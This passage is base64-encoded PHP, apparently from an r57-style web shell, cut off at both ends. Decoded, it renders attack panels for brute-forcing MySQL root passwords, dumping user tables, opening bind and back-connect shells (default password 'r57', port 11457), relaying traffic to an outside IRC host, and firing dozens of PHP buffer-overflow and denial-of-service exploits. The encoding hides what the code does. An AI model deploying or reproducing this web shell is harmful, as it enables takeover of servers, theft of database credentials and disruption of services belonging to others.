2KCdpZDM2JykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzNCddLiI8L2Rpdj48L2I+PC9mb250PiI7CgplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MCddLiRhcnJvdy4iPC9iPiIsJHNlbGVjdC5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RiX2JydXRlJykpOwplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTEnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGJfc2VydmVyJyw4LCghZW1wdHkoJF9QT1NUWydkYl9zZXJ2ZXInXSk/KCRfUE9TVFsnZGJfc2VydmVyJ10pOigibG9jYWxob3N0IikpKS4nIDxiPjo8L2I+ICcuaW4oJ3RleHQnLCdkYl9wb3J0Jyw4LCghZW1wdHkoJF9QT1NUWydkYl9wb3J0J10pPygkX1BPU1RbJ2RiX3BvcnQnXSk6KCIiKSkpKTsKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfZGInLDgsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2RiJ10pPygkX1BPU1RbJ215c3FsX2RiJ10pOigibXlzcWwiKSkpKTsKZWNobyBzcigyNSwiIixpbigncmFkaW8nLCdicnV0ZV9tZXRob2QnLDAsJ3Bhc3N3ZCcsMSkuIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk5J10uIiAoIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj91c2Vycyc+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTUnXS4iPC9hPiApPC9mb250PiIpOwplY2hvIHNyKDI1LCIiLGluKCdjaGVja2JveCcsJ3JldmVyc2UgaWQ9cmV2ZXJzZScsMCwnMScsMSkuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwMSddKTsKZWNobyBzcigyNSwiIixpbigncmFkaW8nLCdicnV0ZV9tZXRob2QnLDAsJ2RpYycsMCkuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzNSddKTsKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfbCcsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfbCddKT8oJF9QT1NUWydteXNxbF9sJ10pOigicm9vdCIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGljdGlvbmFyeScsMCwoIWVtcHR5KCRfUE9TVFsnZGljdGlvbmFyeSddKT8oJF9QT1NUWydkaWN0aW9uYXJ5J10pOigkZGlyLidwYXNzdy5kaWMnKSkpKTsKZWNobyBzcigzNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsKCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOwplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDAnXS4iPC9kaXY+PC9iPjwvZm9udD4iOwoKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODAnXS4kYXJyb3cuIjwvYj4iLCRzZWxlY3QpOwplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTEnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGJfc2VydmVyJyw4LCghZW1wdHkoJF9QT1NUWydkYl9zZXJ2ZXInXSk/KCRfUE9TVFsnZGJfc2VydmVyJ10pOigibG9jYWxob3N0IikpKS4nIDxiPjo8L2I+ICcuaW4oJ3RleHQnLCdkYl9wb3J0Jyw4LCghZW1wdHkoJF9QT1NUWydkYl9wb3J0J10pPygkX1BPU1RbJ2RiX3BvcnQnXSk6KCIiKSkpKTsKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4nIDogJy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfbCcsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfbCddKT8oJF9QT1NUWydteXNxbF9sJ10pOigicm9vdCIpKSkuJyA8Yj46PC9iPiAnLmluKCd0ZXh0JywnbXlzcWxfcCcsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfcCddKT8oJF9QT1NUWydteXNxbF9wJ10pOigicGFzc3dvcmQiKSkpKTsKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfZGInLDgsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2RiJ10pPygkX1BPU1RbJ215c3FsX2RiJ10pOigibXlzcWwiKSkpLicgPGI+LjwvYj4gJy5pbigndGV4dCcsJ215c3FsX3RibCcsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfdGJsJ10pPygkX1BPU1RbJ215c3FsX3RibCddKTooInVzZXIiKSkpKTsKZWNobyBzcigzNSxpbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ215c3FsX2R1bXAnKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDEnXS4kYXJyb3cuIjwvYj4iLGluKCdjaGVja2JveCcsJ2RpZiBpZD1kaWYnLDAsJzEnKS5pbigndGV4dCcsJ2RpZl9uYW1lJywxNywoIWVtcHR5KCRfUE9TVFsnZGlmX25hbWUnXSk/KCRfUE9TVFsnZGlmX25hbWUnXSk6KCJkdW1wLnNxbCIpKSkpOwplY2hvIHNyKDM1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDknXSkpOwoKZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MyddLiI8L2Rpdj48L2I+PC9mb250PiI7CgplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MCddLiRhcnJvdy4iPC9iPiIsJHNlbGVjdCk7CmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExMSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkYl9zZXJ2ZXInLDgsKCFlbXB0eSgkX1BPU1RbJ2RiX3NlcnZlciddKT8oJF9QT1NUWydkYl9zZXJ2ZXInXSk6KCJsb2NhbGhvc3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ2RiX3BvcnQnLDgsKCFlbXB0eSgkX1BPU1RbJ2RiX3BvcnQnXSk/KCRfUE9TVFsnZGJfcG9ydCddKTooIiIpKSkpOwplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLicgOiAnLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9sJyw4LCghZW1wdHkoJF9QT1NUWydteXNxbF9sJ10pPygkX1BPU1RbJ215c3FsX2wnXSk6KCJyb290IikpKS4nIDxiPjo8L2I+ICcuaW4oJ3RleHQnLCdteXNxbF9wJyw4LCghZW1wdHkoJF9QT1NUWydteXNxbF9wJ10pPygkX1BPU1RbJ215c3FsX3AnXSk6KCJwYXNzd29yZCIpKSkpOwplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9kYicsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfZGInXSk/KCRfUE9TVFsnbXlzcWxfZGInXSk6KCJteXNxbCIpKSkpOwplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4NCddLiRhcnJvdy4iPC9iPiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdkYl9xdWVyeScpLCIiKTsKZWNobyAkdGUuIjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz48dGV4dGFyZWEgY29scz0zMCByb3dzPTQgbmFtZT1kYl9xdWVyeT4iLighZW1wdHkoJF9QT1NUWydkYl9xdWVyeSddKT8oJF9QT1NUWydkYl9xdWVyeSddKTooIlNIT1cgREFUQUJBU0VTO1xuU0hPVyBUQUJMRVM7XG5TRUxFQ1QgKiBGUk9NIHVzZXI7XG5TRUxFQ1QgdmVyc2lvbigpO1xuU0VMRUNUIHVzZXIoKTsiKSkuIjwvdGV4dGFyZWE+PGJyPiIuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKS4iPC9kaXY+IjsKCmVjaG8gIjwvdGQ+Ii4kZmUuIjwvdHI+PC9kaXY+PC90YWJsZT4iOwp9CgoKaWYoISRzYWZlX21vZGUgJiYgJHVuaXgpewplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MSddLCdpZDM3JykuJHRhYmxlX3VwMi5kaXYoJ2lkMzcnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MjUlPiIuJHRzOwplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OSddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BvcnQnLDEwLCcxMTQ1NycpKTsKZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTEnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnYmluZF9wYXNzJywxMCwncjU3JykpOwplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIkNcIj5DPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsKZWNobyBzcig0MCwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQzJ10pKTsKZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0yNSU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMiddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2lwJywxNSwoKGdldGVudignUkVNT1RFX0FERFInKSkgPyAoZ2V0ZW52KCdSRU1PVEVfQUREUicpKSA6ICgiMTI3LjAuMC4xIikpKSk7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BvcnQnLDE1LCcxMTQ1NycpKTsKZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IHNpemU9XCIxXCIgbmFtZT1cInVzZVwiPjxvcHRpb24gdmFsdWU9XCJQZXJsXCI+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJDXCI+Qzwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NCddKSk7CmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MjUlPiIuJHRzOwplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjInXS4iPC9kaXY+PC9iPjwvZm9udD4iOwplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NhbF9wb3J0JywxMCwnMTE0NTcnKSk7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3JlbW90ZV9ob3N0JywxMCwnaXJjLmRhbG5ldC5ydScpKTsKZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncmVtb3RlX3BvcnQnLDEwLCc2NjY3JykpOwplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNiddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj5kYXRhcGlwZS5wbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJDXCI+ZGF0YXBpcGUuYzwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NSddKSk7CmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MjUlPiIuJHRzOwplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+UHJveHk8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Byb3h5X3BvcnQnLDEwLCczMTMzNycpKTsKZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjYnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IHNpemU9XCIxXCIgbmFtZT1cInVzZVwiPjxvcHRpb24gdmFsdWU9XCJQZXJsXCI+UGVybDwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NSddKSk7CmVjaG8gJHRlLiI8L3RkPiIuJGZlLiI8L3RyPjwvZGl2PjwvdGFibGU+IjsKfQoKZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQwJ10sJ2lkMzgnKS4kdGFibGVfdXAyLmRpdignaWQzOCcpLiR0cy4iPHRyPjx0ZCB2YWxpZ249dG9wIHdpZHRoPTI1JT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIGNvbG9yPXJlZCBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNDEnXS4iPC9kaXY+PC9iPjwvZm9udD4iOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnUmVjdXJzaXZlIG1lbW9yeSBleGhhdXN0aW9uJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMicpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ01lbW9yeV9saW1pdCBbcGFjaygpXScpLiRmZSk7CmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczMnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW3Vuc2VyaWFsaXplKCldJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zNCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBaZW5kRW5naW5lJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zNScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ1NRbGl0ZSBbZGwoKV0gdnVsbicpLiRmZSk7CmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczYnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdQQ1JFIFtwcmVnX21hdGNoKCldKFBIUDw1LjIuMSknKS4kZmUpOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3M3JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnTWVtX2xpbWl0IFtzdHJfcmVwZWF0KCldKFBIUDw1LjIuMSknKS4kZmUpOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3M4JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQXBhY2hlIHByb2Nlc3Mga2lsbGVyJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zOScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ092ZXJsb2FkIFt0ZW1wbmFtKCldKFBIUDw1LjEuMiknKS4kZmUpOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxMCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbd29yZHdyYXAoKV0oUEhQPDUuMS4yKScpLiRmZSk7CmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczExJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFthcnJheV9maWxsKCldKFBIUDw1LjEuMiknKS4kZmUpOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxMicpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbc3Vic3RyX2NvbXBhcmUoKV0oUEhQPDUuMS4yKScpLiRmZSk7CmVjaG8gJHRlLiI8L3RkPjx0ZCB2YWxpZ249dG9wIHdpZHRoPTI1JT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIGNvbG9yPXJlZCBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNDEnXS4iPC9kaXY+PC9iPjwvZm9udD4iOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxMycpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0Fyci4gQ3IuIDY0Ylt1bnNlcmlhbGl6ZSgpXShQSFA8NS4yLjEpJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTQnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW3N0cl9pcmVwbGFjZSgpXShQSFA8NS4yLngpJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTUnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW2h0bWxlbnRpdGllcygpXShQSFA8NS4xLjYsNC40LjQpJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTYnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW3ppcF9lbnRyeV9yZWFkKCldKFBIUDw0LjQuNSknKS4kZmUpOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxNycpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbc3FsaXRlX3VkZl9kZWNvZGVfYmluYXJ5KCldKFBIUDw1LjIuMSknKS4kZmUpOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxOCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbbXNnX3JlY2VpdmUoKV0oUEhQPDUuMi4xKScpLiRmZSk7CmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczE5JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFtwaHBfc3RyZWFtX2ZpbHRlcl9jcmVhdGUoKV0oUEhQNTw1LjIuMSknKS4kZmUpOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MyMCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbdW5zZXJpYWxpemUoKV0oUEhQPDQuNC40KScpLiRmZSk7CmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczIxJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFtnZEltYWdlQ3JlYXRlVHJ1ZUNvbG9yKCldKFBIUDw1LjIueCknKS4kZmUpOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MyMicpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbZ2RJbWFnZUNvcHlSZXNpemVkKCldKFBIUDw1LjIueCknKS4kZmUpOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MyMycpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0RvUyBbaWNvbnZfc3Vic3RyKCldKFBIUDw1LjIueCknKS4kZmUpOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MyNCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0RvUyBbc2V0bG9jYWxlKCldKFBIUDw1LjIueCknKS4kZmUpOwplY2hvICR0ZS4iPC90ZD48dGQgdmFsaWduPXRvcCB3aWR0aD0yNSU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBjb2xvcj1yZWQgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQxJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMjUnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdEb1MgW2dsb2IoKV0gMSAoUEhQPDUuMi54KScpLiRmZSk7CmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczI2JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnRG9TIFtnbG9iKCldIDIgKFBIUDw1LjIueCknKS4kZmUpOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MyNycpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0RvUyBbZm5tYXRjaCgpXShQSFA8NS4yLngpJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMjgnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW2ltYWdlcHNsb2FkZm9udCgpXShQSFA8NS4yLngpJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMjknKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgbVNRTCBbbXNxbF9jb25uZWN0XShQSFA8NS4yLngpJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMzAnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW2NodW5rX3NwbGl0KCldKFBIUDw1LjIueCknKS4kZmUpOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MzMScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbcGhwX3dpbjMyc3RpLmRsXShQSFA8NS4yLngpJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMzInKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW3BocF9paXNmdW5jLmRsbF0oUEhQPDUuMi54KScpLiRmZSk7CmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczMzJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFtudHVzZXJfZ2V0dXNlcmxpc3QoKV0oUEhQPDUuMi54KScpLiRmZSk7CmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczM0JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnRG9TIFtjb21fcHJpbnRfdHlwZWluZm8oKV0oUEhQPDUuMi54KScpLiRmZSk7CmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczM1JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFtpY29udigpXShQSFA8NS4yLngpJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMzYnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW2ljb252X21fZF9oZWFkZXJzKCldKFBIUDw1LjIueCknKS4kZmUpOwplY2hvICR0ZS4iPC90ZD48dGQgdmFsaWduPXRvcCB3aWR0aD0yNSU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBjb2xvcj1yZWQgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQxJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMzcnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW2ljb252X21pbWVfZGVjb2RlKCldKFBIUDw1LjIueCknKS4kZmUpOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MzOCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbaWNvbnZfc3RybGVuKCldKFBIUDw1LjIueCknKS4kZmUpOwovKmV